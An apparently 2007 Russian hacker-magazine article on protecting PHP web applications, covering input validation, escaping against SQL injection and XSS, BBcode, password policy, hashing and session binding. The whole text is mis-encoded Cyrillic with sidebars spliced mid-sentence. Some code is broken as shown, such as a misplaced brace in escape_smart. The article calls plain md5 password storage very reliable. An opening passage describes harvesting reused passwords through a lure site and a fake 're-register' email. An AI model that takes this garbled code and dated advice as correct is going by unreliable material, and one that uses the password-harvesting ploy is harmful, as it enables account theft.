ïîñëå÷åãî ìîæíî ïîëó÷èòü äîñòóï ê áàçàì äàííûõ è âûïîëíèòüJavaScript.Ïî ðàñïðîñòðàíåííîñòè ñåé÷àñ ëèäèðóþòXSS-àòàêè, ÷óòü îòñòàëè SQL-èíúåêöèè. Ïîÿñíþ —ïèê èñïîëüçîâàíèÿ SQL-èíúåêöèé ïðîøåë íåêîòîðîåâðåìÿ íàçàä: âñïîìíèòå õîòÿ áû áåñêîíå÷íûåíåäîðàáîòêè PHP-Nuke :). ×òî æå êàñàåòñÿ èíúåêöèéêîäà, òî ñêðèïòû, ïîäâåðæåííûå ýòèì áîëåçíÿì,âîäÿòñÿ òîëüêî â ñàìîïèñíîì èëè íåçàùèùåííîìêîäå, õîòÿ åñòü è èñêëþ÷åíèÿ èç ýòîãî ïðàâèëà.Ïåðåõîäèì ê ñëîæíîñòÿì çàùèòû. Çäåñü â ëèäåðàõXSS, íåìíîãî îòñòàåò SQL, è ïîçàäè —èíúåêöèè PHP-êîäà. ×òîáû ïîíÿòü, ïî÷åìó èìåííîòàê ðàñïðåäåëèëèñü ïðèçîâûå ìåñòà, íóæíî âçâåñèòü,ñêîëüêî óõîäèò âðåìåíè (äåíåã) íà çàùèòóîò òîé èëè èíîé íàïàñòèÈíôîðìàöèÿ: ÷åëîâåê î÷åíü ëþáèò XXX.«XXX» — ýòî íå òî, î ÷åì òû ïîäóìàë,à ïðîèçâîëüíàÿ òåìà, êîòîðîé óâëåêàåòñÿïîòåíöèàëüíàÿ æåðòâà ;). Äëÿ íà÷àëàíåîáõîäèìî ñäåëàòü ñàéò íà ýòó òåìóñ áîëüøèì êîëè÷åñòâîì èíôîðìàöèè.Êðîìå ìàòåðèàëîâ íà ñàéòå áóäåò âîçìîæíîñòüèõ êîììåíòèðîâàíèÿ èëè, ñêàæåì,ôîðóì. È äëÿ òîãî, ÷òîáû ñòàòü àêòèâíûìïîëüçîâàòåëåì ñàéòà, íàäî çàðåãèñòðèðîâàòüñÿíà íåì. À âîò òóò — ñàìîåèíòåðåñíîå: ó ìíîãèõ ëþäåé íà âñåõñàéòàõ ïàðîëè îäèíàêîâûå! òàêîì ñëó÷àå ìîæåò âîçíèêíóòüäâå ïðîáëåìû: æåðòâà ìîæåò ëèáî íå çàðåãèñòðèðîâàòüñÿíà ñàéòå, ëèáî ïàðîëüìîæåò áûòü äðóãèì. Ïîýòîìó ñàéò íàäîíàïîëíèòü èíòåðåñíûìè ìàòåðèàëàìèè äàòü íåçàðåãèñòðèðîâàííûì ïîëüçîâàòåëÿìâîçìîæíîñòü ïðîñìàòðèâàòüòîëüêî èõ ÷àñòü. Âòîðàÿ ïðîáëåìà íàìíîãîñåðüåçíåé, íî è èç íåå ìîæíî èçâëå÷üîïðåäåëåííóþ ïîëüçó. Âî-ïåðâûõ,ïàðîëü ìîæåò äàòü èíôîðìàöèþ î òîì,êàê æåðòâà ïðèäóìûâàåò ïàðîëè.Âî-âòîðûõ, ìîæíî îáíóëèòü åãî ïàðîëüè ïðèñëàòü ïèñüìî «Ó íàñ áàçà ïîëåòåëà,çàðåãèñòðèðóéòåñü åùå ðàç» :).Âûâîä: ïðèäóìûâàéòå ïàðîëè ðàçíûåè äëèííûå — Df!2go#_^_7M, íàïðèìåð.


34 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07âàêöèíà äëÿ ñàéòàÑîçäàíèå ìíîãîóðîâíåâîé çàùèòû îò âçëîìàâåá-ïðèëîæåíèé«ÌÎÉ ÑÀÉÒ — ÌÎß ÊÐÅÏÎÑÒÜ» — ÒÀÊÈÌ ÄÎËÆÅÍ ÁÛÒÜ ÄÅÂÈÇ ÂÑÅÕ ÂÅÁ-ÐÀÇÐÀÁÎÒ×ÈÊÎÂ.  ÝÒÎÉ ÑÒÀÒÜÅ ß ÐÀÑÑÊÀÆÓ, ÊÀÊ ÊÀÌÅÍÜ ÇÀ ÊÀÌÍÅÌ È ÊÈÐÏÈ× ÇÀÊÈÐÏÈ×ÎÌ ÏÎÑÒÐÎÈÒÜ ÒÀÊÓÞ ÊÐÅÏÎÑÒÜ. ÌÛ ÍÀ×ÍÅÌ Ñ ÇÀÙÈÒÛ ÍÀ ÑÒÎÐÎÍÅ ÊËÈÅÍÒÀÈ ÇÀÊÎÍ×ÈÌ ÎÁÎÐÎÍÎÉ ÑÅÐÂÅÐÍÎÉ ×ÀÑÒÈ.Áîðèñ Âîëüôñîíborisvolfson@gmail.com http://splendot.comòðè êðóãà îáîðîíû íà ñòîðîíå êëèåíòà. Íà÷íåìñ ñàìîãî ïðîñòîãî — ñ îòïóãèâàíèÿ «þíûõ õàêåðîâ»;). Èòàê, ìàëîëåòíåå ñîçäàíèå îòêðûëî áðàóçåð,çàøëî íà òâîé ñàéò, íàøëî ôîðìó è ïûòàåòñÿñâîèìè êîâàðíûìè ðó÷êàìè ââåñòè òóäà ÷òî-íèáóäüíåõîðîøåå. Ïðåæäå âñåãî, âîñïîëüçóåìñÿ âîçìîæíîñòÿìèÿçûêà HTML. Äëÿ íà÷àëà âûáåðåì ïîäõîäÿùèéýëåìåíò óïðàâëåíèÿ, íàïðèìåð, åñëè íàäîâûáðàòü «ìåñòî æèòåëüñòâà», òî áåçîïàñíåé áóäåòèñïîëüçîâàòü âûïàäàþùèé ñïèñîê (à íå ñòðîêó ââîäà).×òî êàñàåòñÿ ïîñëåäíåé, òî æåëàòåëüíî âûáðàòüè ìàêñèìàëüíóþ äëèíó äëÿ ñòðîêè ââîäà.Âòîðîé êðóã îáîðîíû áóäåò ðàáîòàòü íà JavaScript,êîòîðûé ïîìîæåò íàì ïîäâåðãíóòü ñòðîãîìóàóäèòó âñå, ÷òî ïîëüçîâàòåëþ âçäóìàåòñÿ ââåñòèâ íàøè ôîðìû. Ìû ìîæåì, íàïðèìåð, óáåäèòüñÿ,÷òî ââåäåí äåéñòâèòåëüíî e-mail, à íå SQL-çàïðîñ,êîòîðûé âûäàñò çëîóìûøëåííèêó ïàðîëèâñåõ ïîëüçîâàòåëåé.Òðåòèé è ñàìûé ïîñëåäíèé êðóã èñïîâåäóåòèäåîëîãèþ AJAX, ïîýòîìó íå ÿâëÿåòñÿ ÷èñòî êëèåíòñêèì.Ïîñëå çàïîëíåíèÿ î÷åðåäíîãî ïîëÿ ìû ñäåëàåìçàïðîñ íà ñåðâåð î ïðàâèëüíîñòè ââåäåííûõ äàííûõ.Ðàññìîòðèì ïëþñû è ìèíóñû äàííîãî ïîäõîäà.Îí, áåçóñëîâíî, îòïóãíåò âçëîìùèêîâ-äèëåòàíòîâ,êîòîðûå íå óìåþò ïîëüçîâàòüñÿ íè÷åì êðîìåáðàóçåðà. Îòìå÷ó òàêæå åùå îäèí ïðèÿòíûé ýôôåêò— óëó÷øåíèå þçàáèëèòè ñàéòà, âåäü ïðè íåïðàâèëüíîìçàïîëíåíèè ôîðìû ïîëüçîâàòåëü åùåäî åå îòïðàâêè ïîëó÷èò ñîîòâåòñòâóþùåå ñîîáùåíèå.Ìèíóñ ó çàùèòû íà ñòîðîíå êëèåíòà òîëüêîîäèí — îáîéòè åå ïðîùå ïàðåíîé ðåïû, òàê ÷òî ñîõðàíÿåìñòðàíèöó ó ñåáÿ íà ñåðâåðå è îòêëþ÷àåì âáðàóçåðå JavaScript. À åùå ëó÷øå — ðàáîòàåì íå÷åðåç áðàóçåð, à ñ ïîìîùüþ ñêðèïòà. Òàê ÷òî çàùèòóíà ñòîðîíå êëèåíòà ìîæíî ñ÷èòàòü ðâîì âîêðóãíàøåé êðåïîñòè. À ïîñêîëüêó ðîâ — ýòî ñàìîå-ñàìîåíà÷àëî, òî ïðèñòóïèì ê âîçâåäåíèþ ñòåí =).çàùèùàåìñÿ íà ñåðâåðå. Ñðàçó îãîâîðþñü,êàêèå àñïåêòû ÿ îñâåùó â ñëåäóþùåé ÷àñòè ñòàòüè.Çäåñü òû íå óñëûøèøü íè î òîíêèõ íàñòðîéêàõ áåçîïàñíîñòèâ Ëèíóêñ, íè î òîì, êàê ïðàâèëüíî ñîáðàòüçàùèùåííûé àïà÷ è êàêèå ìîäóëè ê íåìó ïðèêðóòèòü.Íå áóäåò ïðîèçíåñåíî íè ñëîâà î íàñòðîéêàõPHP (ëþáèìûå ìîè magic quotes). Îñòàâèì ýòèäåëà ñèñàäìèíàì, — îíè íå çðÿ ñâîé õëåá åäÿò, àÏÐÎÑÒÀÂÜ ÎÏÖÈÈ DISPLAY_ERRORS = OFF È LOG_ERRORS = ONÄËß ÎÒÊËÞ×ÅÍÈß ÏÎÊÀÇÀ ÎØÈÁÎÊ È ÄËß ÂÊËÞ×ÅÍÈßÈÕ ÆÓÐÍÀËÈÐÎÂÀÍÈßñàìè çàéìåìñÿ ïðîãðàììèðîâàíèåì. Áðîñèì áåãëûéâçãëÿä íà ñõåìó, ïî êîòîðîé íàì ïðåäñòîèò ðàáîòàòüäàëüøå (ñìîòðè ñõåìó 1).ïðîâåðêà âõîäíûõ äàííûõ. Äëÿ íà÷àëà îïðåäåëèì,îòêóäà íàø ñêðèïò ìîæåò ïîëó÷àòü ïîòåíöèàëüíîîïàñíóþ èíôîðìàöèþ. Ïåðâîå, ÷òî ïðèõîäèòíà óì — ýòî ôîðìû, êîòîðûå çàïîëíÿåò ïîëüçîâàòåëü.Äàííûå èç íèõ ìîãóò ïåðåäàâàòüñÿ äâóìÿìåòîäàìè. Ïðè èñïîëüçîâàíèè ìåòîäà POST äàííûåïîñòóïàþò ñêðèïòó íà ñòàíäàðòíûé âõîä, à åñëèïðèìåíÿåòñÿ ìåòîä GET, òî èíôîðìàöèÿ ïåðåäàåòñÿâ àäðåñíîé ñòðîêå:URLhttp://www.example.ru/index.php?variable=valueÒû ëþáèøü ïå÷åíüå? Íåò? À âîò âçëîìùèêè ëþáÿò,âåäü ÷àñòü èíôîðìàöèè ïåðåäàåòñÿ èìåííî ÷åðåçêóêè. Îáû÷íî ýòî èäåíòèôèêàòîð ñåññèè è äðóãàÿèíôîðìàöèÿ, êîòîðàÿ ñîõðàíÿåòñÿ âî âðåìÿ ñåðôèíãàþçåðà ïî ñàéòó. Äëÿ ñêðèïòà, íàïèñàííîãî íàPHP, âñå âûøåîïèñàííûå ìåòîäû ïîëó÷åíèÿ âíåøíåéèíôîðìàöèè ïðàêòè÷åñêè ðàâíîçíà÷íû, ïîýòîìóòû ìîæåøü èñïîëüçîâàòü ìàññèâ $_REQUEST(ïðàâäà, ýòî íå î÷åíü áåçîïàñíîå ðåøåíèå).Âðîäå áû âñå, íî íåò! Ïîäóìàé, îòêóäà åùåñêðèïò ïîëó÷àåò äàííûå? Êîíå÷íî, èç ÁÄ (èëè èçðåäêèõ íûí÷å òåêñòîâûõ ôàéëîâ)! Âîçíèêàåò çàêî-


35íîìåðíûé âîïðîñ: «À ïî÷åìó ìû íå ìîæåì äîâåðÿòüèíôîðìàöèè, ïîëó÷åííîé èç áàçû äàííûõ?».Åñòü äâà èñòî÷íèêà óãðîçû. Âî-ïåðâûõ, âçëîìùèêìîã ïîëó÷èòü äîñòóï ê áàçå äàííûõ è çàíåñòè òóäàïðîèçâîëüíóþ èíôîðìàöèþ, íàïðèìåð, ñ ïîìîùüþSQL-èíúåêöèè. Âî-âòîðûõ, åñòü òàêàÿ íåõîðîøàÿâåùü, êàê XSS — ìåæñàéòîâûé ñêðèïòèíã. Âäàííîì ñëó÷àå, çëîóìûøëåííèê ìîã ïîëîæèòü âáàçó äàííûõ èíôîðìàöèþ, èñïîëüçóÿ íàøè æåñêðèïòû. Íàïðèìåð, îí ìîæåò íàïèñàòü â ãîñòåâîéêíèãå è â êîììåíòàðèè íåñëîæíûé JavaScript, êîòîðûéïåðåäàñò åìó êóêè âñåõ ïîëüçîâàòåëåé, åãîïðî÷èòàâøèõ. Ïîýòîìó ôèëüòðû ïðîâåðêè íàäî íàêëàäûâàòüíà äàííûå è ïðè èõ ïîñòóïëåíèè îòïîëüçîâàòåëÿ, è ïðè âûäà÷å ýòèõ äàííûõ ñàìîìóïîëüçîâàòåëþ.òèïû ïðîâåðîê. Îòêóäà ìîãóò ïîñòóïèòü âðåäîíîñíûåñòðî÷êè, ìû ñ òîáîé âûÿñíèëè, òåïåðüðàññìîòðèì, ÷òî â íèõ ìîæåò áûòü çëîãî è êàê ñ ýòèìáîðîòüñÿ. Íà÷íåì ñ ñàìîãî ïðîñòîãî — îãðàíè-÷èì äëèíó ââîäèìûõ ïîëüçîâàòåëåì äàííûõ. Òàêàÿáàíàëüíàÿ ïðîâåðêà ìîæåò ïîíàäîáèòüñÿ äëÿðàáîòû ñ áàçàìè äàííûõ. Òàêæå ñëåäóåò ïðîâåðèòüâñå ïîëÿ äëÿ ââåäåíèÿ ýòèõ äàííûõ, åñëè çàðàíååèçâåñòåí èõ òèï (â ÷àñòíîñòè, íà âõîäå ìûìîæåì ïîëó÷èòü ÷èñëî èëè äàòó è îñóùåñòâèòüíåîáõîäèìóþ ïðîâåðêó).  PHP ìîæíî èñïîëüçîâàòüôóíêöèþ is_numeric äëÿ ïðîâåðêè «íà ÷èñëî»,ïðàâäà, ñ îñòîðîæíîñòüþ — â ðàçíûõ âåðñèÿõ ðåçóëüòàòûåå ðàáîòû áóäóò íåìíîãî îòëè÷àòüñÿ. îáùåì ñëó÷àå óäîáíî èñïîëüçîâàòü ðåãóëÿðíûåÂÊËÞ×È ÎÏÖÈÞ MAGIC_QUOTES_GPC ÄËß ÀÂÒÎÌÀÒÈ×ÅÑÊÎÃÎÝÊÐÀÍÈÐÎÂÀÍÈß ÂÑÅÕ ÂÕÎÄßÙÈÕ ÄÀÍÍÛÕâûðàæåíèÿ, êîòîðûå óäà÷íî ðåàëèçîâàíû âî ìíîãèõÿçûêàõ èëè áèáëèîòåêàõ. Äëÿ ïðîâåðêè íà êîððåêòíîñòüàäðåñà ýëåêòðîííîé ïî÷òû ìîæíî èñïîëüçîâàòüòàêîé regexp:PHPeregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,6}$", $email)×òî êàñàåòñÿ ïðîâåðêè âõîäíûõ äàííûõ íà ïðèíàäëåæíîñòüê ìèðó ÷èñåë, òî ðåãóëÿðíûå âûðàæåíèÿìîãóò ïîìî÷ü è çäåñü. Äàâàé, êñòàòè, íåìíîãîóñëîæíèì çàäà÷ó: âõîäíîé ïàðàìåòð äîëæåí áûòüöåëûì ÷èñëîì áåç çíàêà. Äëÿ ýòîãî ñíà÷àëà óáåðåìïðîáåëüíûå ñèìâîëû â íà÷àëå è â êîíöå ñòðîêè,à çàòåì ïðîâåðèì ñòðîêó ðåãóëÿðíûì âûðàæåíèåì.PHPfunction is_unsigned_integer($val){$val=str_replace(" ","",trim($val));return eregi("^([0-9])+$",$val);}Ðåãóëÿðíîå âûðàæåíèå «^([0-9])+$» (áåç êàâû÷åê)îçíà÷àåò, ÷òî ñòðîêà äîëæíà ñîäåðæàòü òîëüêî öèôðûè èõ êîëè÷åñòâî äîëæíî áûòü íå ìåíüøå îäíîé.Àíàëîãè÷íûå ðåãóëÿðíûå âûðàæåíèÿ íåîáõîäèìîèñïîëüçîâàòü è äëÿ îñòàëüíûõ äàííûõ.Ëè÷íî ÿ ëþáëþ èñïîëüçîâàòü êëàññ Validateèç áèáëèîòåêè PEAR, êîòîðûé ïîçâîëÿåò ïðîâîäèòüäîñòàòî÷íî ñëîæíûå ïðîâåðêè â îäíó ñòðî÷êó:PHP$validate = &new Validate();$validate->string( $username,array('format'=>VALIDATE_ALPHA .VALIDATE_NUM . VALIDATE_SPACE ) )$validate->email( $email )$validate->number( $age,array( 'min'=>0, 'max'=>100 ) )Ìåòîäû êëàññà Validate âîçâðàùàþò false, åñëè ïðîâåðêàíå ïðîéäåíà. Ñíà÷àëà ìû ïðîâåðÿåì èìÿïîëüçîâàòåëÿ: îíî äîëæíî ñîñòîÿòü òîëüêî èç áóêâ,öèôð è ïðîáåëîâ. Çàòåì ìû ïîâåðÿåì àäðåñ ýëåêòðîííîéïî÷òû, è, íàêîíåö, óáåæäàåìñÿ, ÷òî âîçðàñòïîëüçîâàòåëÿ — ýòî ÷èñëî â äèàïàçîíå îò 0 äî 100.ÊóêèÎøèáêè ââîäàËîãèGETPOSTÏðîâåðêàâõîäíûõ äàííûõÍåíàéäåííûå ñòðàíèöûÄëèíà âõîäàÁÄSQL-èíúåêöèÿÕåø îò ïàðîëåéÁåçîïàñíîñòüHTMLÀâòîãåíåðàöèÿ ïàðîëåéÒèïû ïðîâåðêèXSSÓñòîé÷èâûå ïàðîëèÎïàñíûå äåéñòâèÿñ ïàðîëåìÏîëüçîâàòåëèÒèï ïàðàìåòðàÔèëüòðàöèÿñïåöñèìâîëîâÏðèâÿçêà IPê ñåññèèÏðîâåðêà ðåôåðîâÔèëüòðàöèÿ ÍÅÕÑõåìà 1. Çàùèòà íà ñòîðîíå ñåðâåðà


36 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07ýêðàíèðóåì ñïåöñèìâîëû. Ñïåöñèìâîëû íàñ,ïðåæäå âñåãî, íå óñòðàèâàþò â òîì ñëó÷àå, êîãäàçàïèñè èíôîðìàöèè ïðîèçâîäÿòñÿ â áàçó äàííûõ,ïîñêîëüêó â íèõ íàâåðíÿêà êðîåòñÿ âåëèêîå-ïðåâåëèêîåçëî SQL-èíúåêöèé è XSS-àòàê.  ýòîìñìûñëå, PHP ïðåäëàãàåò íàì öåëûé àðñåíàëñðåäñòâ áîðüáû ñ ïîäîáíîãî ðîäà íåïðÿòíûìèóÿçâèìîñòÿìè. Âñå, ÷òî îò íàñ íåóêîñíèòåëüíî òðåáóåòñÿ— ýòî èñïîëüçîâàòü èõ. Ïðèâåäó ñïèñîê ôóíêöèé,êîòîðûå ñëåäóåò èñïîëüçîâàòü äëÿ ýêðàíèðîâàíèÿ(ñìîòðè òàáëèöó 1).Ïîõîæå, íàñòàëî âðåìÿ ðàññêàçàòü ïðî magic_quotes,î êîòîðûõ ÿ òîðæåñòâåííî îáåùàë ìîë-÷àòü â íà÷àëå ãëàâû. Ýòà îïöèÿ àâòîìàòè÷åñêèýêðàíèðóåò äàííûå èç ìàññèâîâ $_GET, $_POST,$_COOKIE. Çíà÷èò, ïðè íàïèñàíèè êîäà íàì íàäîýòî ó÷èòûâàòü, ÷òîáû íå äîáàâèòü äâà ðàçà îáðàòíûåñëåøè:PHPfunction escape_smart($value){if (get_magic_quotes_gpc()) {$value = stripslashes($value);}$value =mysql_real_escape_string($value);}return $value;BBcode è wiki. Èíîãäà âñå-òàêè íåîáõîäèìîäàòü ïîëüçîâàòåëþ âîçìîæíîñòü ôîðìàòèðîâàòüââåäåííûé èì òåêñò, íî ðàçðåøàòü íàïðÿìóþ ââîäèòüòåãè ñëèøêîì îïàñíî. Ñàìûì ïðîñòûì âûõîäîìáóäåò èñïîëüçîâàíèå êàêîé-ëèáî ðàçìåòêè, íà-ïðîâåðêà èñòî÷íèêàÊÎÃÄÀ ß ÐÀÑÑÊÀÇÛÂÀË Î ÇÀÙÈÒÅÍÀ ÊËÈÅÍÒÑÊÎÉ ÑÒÎÐÎÍÅ,ß ÎÃÎÂÎÐÈËÑß, ×ÒÎ ÑÒÐÀÍÈÖÓÌÎÆÍÎ ÑÎÕÐÀÍÈÒÜ ÍÀ ÄÐÓÃÎÌÑÅÐÂÅÐÅ ÈËÈ ËÎÊÀËÜÍÎÉ ÌÀØÈÍÅÈ ÏÎÄÏÐÀÂÈÒÜ, ÊÀÊ ÒÅÁÅ ÍÐÀÂÈÒÑß.ÍÎ ÝÒÓ ÁÐÅØÜ ÌÎÆÍÎ ÍÅÌÍÎÃÎÇÀËÀÒÀÒÜ, ÏÐÎÂÅÐßß, ÎÒÊÓÄÀ Ê ÍÀÌÏÐÈØÅË ÏÎËÜÇÎÂÀÒÅËÜ. ÄÅËÀÅÒÑßÝÒÎ ÏÐÈ ÏÎÌÎÙÈ ÏÅÐÅÌÅÍÍÎÉ$_SERVER[«HTTP_REFERER»], ÊÎÒÎÐÀßÊÀÊ ÐÀÇ È ÑÎÄÅÐÆÈÒ ÏÐÅÄÛÄÓÙÓÞÑÒÐÀÍÈÖÓ, À ÍÀÌ ÎÑÒÀÍÅÒÑß ÒÎËÜÊÎÏÐÎÂÅÐÈÒÜ, ÄÅÉÑÒÂÈÒÅËÜÍÎ ËÈÏÎËÜÇÎÂÀÒÅËÜ ÏÐÈØÅË ÎÒÒÓÄÀ.ÏÎËÈÒÈÊÀÁÅÇÎÏÀÑÍÎÑÒÈÄËßÏÎËÜÇÎÂÀÒÅËÅÉÂçëîìùèê ìîæåò ïûòàòüñÿ ñëîìàòüíå âåñü ñàéò, à òîëüêî ïîëó÷èòü äîñòóïê àêêàóíòó îòäåëüíîãî ïîëüçîâàòåëÿ. Èòóò âñòàåò âîïðîñ ñîöèàëüíîãî õàðàêòåðà.Ïîïðîáóåì ðåøèòü åãî ïðè ïîìîùèïðîãðàììèðîâàíèÿ ;).Äëÿ çàõâàòà àêêàóíòà õàêåðó íåîáõîäèìîçàâëàäåòü ëîãèíîì è ïàðîëåìïîëüçîâàòåëÿ. Ëîãèí îáû÷íî íàõîäèòñÿâî âñåîáùåì äîñòóïå è ñëóæèò èäåíòèôèêàòîðîìïîëüçîâàòåëÿ, à âîò ïàðîëü,ïî èäåå, çíàåò òîëüêî ñàì ïîëüçîâàòåëü.Òåïåðü öåëü ÿñíà — íàäî çàùèòèòüïàðîëü ;).Strong password. Ñàìûì «òóïûì»ìåòîäîì âçëîìà ïàðîëÿ ÿâëÿåòñÿ bruteforce,ïðîùå ãîâîðÿ, ïåðåáîð. Îáû÷íîäëÿ ïåðåáîðà èñïîëüçóþò ñëîâàðè, ëèáîïðîñòî ïåðåáèðàþò âñåâîçìîæíûåêîìáèíàöèè ïî çàäàííîé ìàñêå. Íàøåéïåðâîé çàäà÷åé áóäåò áîðüáà ñ ïîäáîðîì.Äëÿ ýòîãî ïàðîëü äîëæåí áûòü äîñòàòî÷íîäëèííûì — áîëåå 6 ñèìâîëîâè ñîäåðæàòü ðàçíîîáðàçíûå ñèìâîëû:öèôðû, ñòðî÷íûå è ïðîïèñíûå áóêâû.Ïî ìåðå íåîáõîäèìîñòè äëèíó ïàðîëÿìîæíî óâåëè÷èòü, à â íåîáõîäèìûåñèìâîëû äîáàâèòü åùå è çíàêè ïðåïèíàíèÿ.Ìàëåíüêèì ïðèìå÷àíèåì ê äàííîìóïàðàãðàôó áóäåò íåîáõîäèìîñòüáëîêèðîâàòü âõîä ïîëüçîâàòåëÿ íàñàéò (ìèíóò, ñêàæåì, íà 30) ïîñëå 3–5íåóäà÷íûõ ïîïûòîê ââîäà ëîãèíà è ïàðîëÿ. òàêîì ñëó÷àå âçëîìùèêó ïðèäåòñÿèñïîëüçîâàòü ïðîêñè, êîòîðûåïðè áîëüøîé íåîáõîäèìîñòè ìîæíîòàêæå áëîêèðîâàòü.Äëÿ áîëåå ìîùíîé ïðîâåðêè ïàðîëÿðåêîìåíäóþ èñïîëüçîâàòü ðàñøèðåíèåCrackLib. Îíî ïîçâîëÿåò ïðîãíàòüïàðîëü ïî ñëîâàðþ è îñóùåñòâèòü ðÿääîïîëíèòåëüíûõ ïðîâåðîê:PHP// Çàãðóæàåì ñëîâàðü$dictionary = crack_opendict('/usr/local/lib/pw_dict');// Ïðîâåðÿåì ïàðîëü$check = crack_check($dictionary,‘Q6g$b87gHjn5_4t5sdf!23HLayi');// Ïîëó÷àåì ðåçóëüòàò ïðîâåðêè$res = crack_getlastmessage();echo $res; // 'strong password'// Çàêðûâàåì ñëîâàðücrack_closedict($dictionary);Ñþäà æå îòíåñó òàêóþ âîçìîæíîñòü,êàê ñìåíà ïàðîëåé ÷åðåç îïðåäåëåííûéïðîìåæóòîê âðåìåíè. Òàêàÿ îïöèÿíå äàñò âçëîìùèêó âîçìîæíîñòüïîäáèðàòü ïàðîëü áðóòôîðñîì â òå-÷åíèå ãîäà.Àâòîãåíåðàöèÿ ïàðîëåé. Çà÷åì ìó-÷èòü ïîëüçîâàòåëåé è çàñòàâëÿòü èõïðèäóìûâàòü ïàðîëè äëèíîé â 10 áóêâè öèôð, êîãäà ïðîùå ýòî ñäåëàòü ïðîãðàììíî?Çàîäíî ìîæíî áóäåò ïðîâåðèòüïàðîëü íà óíèêàëüíîñòü, ÷òî åùåáîëüøå ïîâûñèò áåçîïàñíîñòü.Õåø îò ïàðîëåé. Ïðåäñòàâü ñåáåïîäîáíóþ êàðòèíó — âçëîìùèê ïîëó-÷èë äîñòóï íà ÷òåíèå áàçû äàííûõïîëüçîâàòåëåé òâîåãî ñàéòà… è íèêàêíå ìîæåò âîñïîëüçîâàòüñÿ ýòîé èíôîðìàöèåé;). Ýòî íå ìîÿ áîëüíàÿôàíòàçèÿ, à ðåàëüíîñòü, åñëè âìåñòîïàðîëåé òû õðàíèøü èõ õåøè. Õåø —ýòî «óíèêàëüíàÿ» ñòðîêà (èëè ÷èñëî),êîòîðàÿ ãåíåðèðóåòñÿ ïî ïàðîëþ ïðèïîìîùè ñïåöèàëüíîé ôóíêöèè, íàïðèìåðmd5. Ïî õåøó âîññòàíîâèòüñàìó ñòðîêó ïðàêòè÷åñêè íåâîçìîæíî,ïîýòîìó ýòîò ñïîñîá õðàíåíèÿ ïàðîëåéî÷åíü íàäåæåí.Îïàñíûå äåéñòâèÿ. Áàçó ïîëüçîâàòåëåéó íàñ óæå êðàëè, òåïåðü ïðåäïîëîæèì,÷òî âçëîìùèê ñìîã çàâëàäåòüñåññèåé ïîëüçîâàòåëÿ, òî åñòü ðàáîòàåòïîä åãî ëîãèíîì. Ñèòóàöèÿ òèïè÷íàÿ— ìîæíî ïðîñòî ïîäîæäàòü, ïîêà÷åëîâåê âûéäåò èç-çà êîìïà, åñëèðå÷ü èäåò îá îôèñå, èëè ïîïðîáîâàòüóêðàñòü êóêè ñ èäåíòèôèêàòîðîì ñåññèè.Ïåðâîå, ÷òî ïîïûòàåòñÿ ñäåëàòüçëîé õàêåð, — ýòî ñìåíèòü ïàðîëü.Èìåííî ïðè ïîäîáíûõ äåéñòâèÿõ íàäîïîâòîðíî çàïðàøèâàòü ïàðîëü ïîëüçîâàòåëÿ,âåäü åñëè âçëîìàíà ñåññèÿ,íàì óäàñòñÿ ïðåäîòâðàòèòü êðóïíûéóùåðá. Ê îïàñíûì äåéñòâèÿì ñòîèòîòíåñòè: óäàëåíèå àêêàóíòà, êðóïíûåôèíàíñîâûå òðàíçàêöèè, ìàññîâóþðàññûëêó ïèñåì è ïðî÷åå.Ïðèâÿçêà ñåññèè ê IP. ×òîáû âçëîìùèêóáûëî ñëîæíåé çàâëàäåòü ñåññèåé,íàäî êðîìå èäåíòèôèêàòîðà õðàíèòüòàêæå IP ïîëüçîâàòåëÿ. Òàêîéïîäõîä ñäåëàåò íåâîçìîæíûì ðàáîòóñ äðóãîãî êîìïüþòåðà äàæå ïðè èìåþùåìñÿïðàâèëüíîì èäåíòèôèêàòîðåñåññèè.ÎÄÍÀÊÎ Ó ÂÇËÎÌÙÈÊÀ ÆÅ ÅÑÒÜÄÂÅ ÂÎÇÌÎÆÍÎÑÒÈ — ËÈÁÎ ÏÐÎÑÒÎÈÑÏÎËÜÇÎÂÀÒÜ TELNET È Ñ ÅÃÎÏÎÌÎÙÜÞ ÑÔÎÐÌÈÐÎÂÀÒÜ ÇÀÏÐÎÑ,ËÈÁÎ ÍÀÏÈÑÀÒÜ ÑÊÐÈÏÒ È ÈÑÏÎËÜÇÎ-ÂÀÒÜ ÅÃÎ, ÂÅÄÜ ÇÍÀ×ÅÍÈÅ ÏÅÐÅÌÅÍ-ÍÎÉ $_SERVER[«HTTP_REFERER»]ÔÎÐÌÈÐÓÅÒÑß ÍÀ ÑÒÎÐÎÍÅ ÊËÈÅÍÒÀ.ÂÛÂÎÄ: ÒÀÊÀß ÇÀÙÈÒÀ ÑÏÎÑÎÁÍÀÎÒÏÓÃÍÓÒÜ ËÈØÜ ÍÅÏÐÎÔÅÑÑÈÎÍÀËÜ-ÍÎÃÎ ÂÇËÎÌÙÈÊÀ, À ÏÐÎÔÅÑÑÈÎÍÀËÓÎÍÀ ÏÐÎÑÒÎ ÄÎÑÒÀÂÈÒ ÍÅÁÎËÜØÎÅÍÅÓÄÎÁÑÒÂÎ.ïðèìåð BBcode èëè wiki.  òàêîì ñëó÷àå ïðè ñîçäàíèèâõîäíûõ äàííûõ ïîëüçîâàòåëü èñïîëüçóåò îãðàíè÷åííûéÿçûê ðàçìåòêè, êîòîðûé çàòåì êîíâåðòèðóåòñÿâ HTML. Ïîëüçîâàòåëþ ìû äàäèì âîçìîæíîñòüâûäåëÿòü øðèôò ïîëóæèðíûì è êóðñèâîì:BBcode[b]Çäåñü áóäåò ïîëóæèðíûé òåêñò,[i]à çäåñü — ïîëóæèðíûé êóðñèâ[/i][/b],a ýòî îáû÷íûé òåêñò.Äàëüøå íàäî ïðîñòî çàìåíèòü òåãè íà èõ HTML-àíàëîãè.Êàæäûé òåã íàäî îáðàáàòûâàòü îòäåëüíî, à íåïðîñòî ñìåíèòü êâàäðàòíûå ñêîáêè íà óãëîâûå. Òîãäàíà âûõîäå ìû ïîëó÷èì:HTMLÇäåñü áóäåò ïîëóæèðíûé òåêñò,à çäåñü — ïîëóæèðíûéêóðñèâ,a ýòî îáû÷íûé òåêñò.Òàêîé ïîäõîä ïîçâîëÿåò äîâîëüíî ïðîñòî èçáåæàòüóãðîçû XSS-èíúåêöèé, äà è ðåàëèçóåòñÿ îí áåç îñîáûõíàïðÿãîâ. Äðóãîé âàðèàíò (ìåíåå áåçîïàñíûé)— ðàçðåøèòü ïîëüçîâàòåëþ 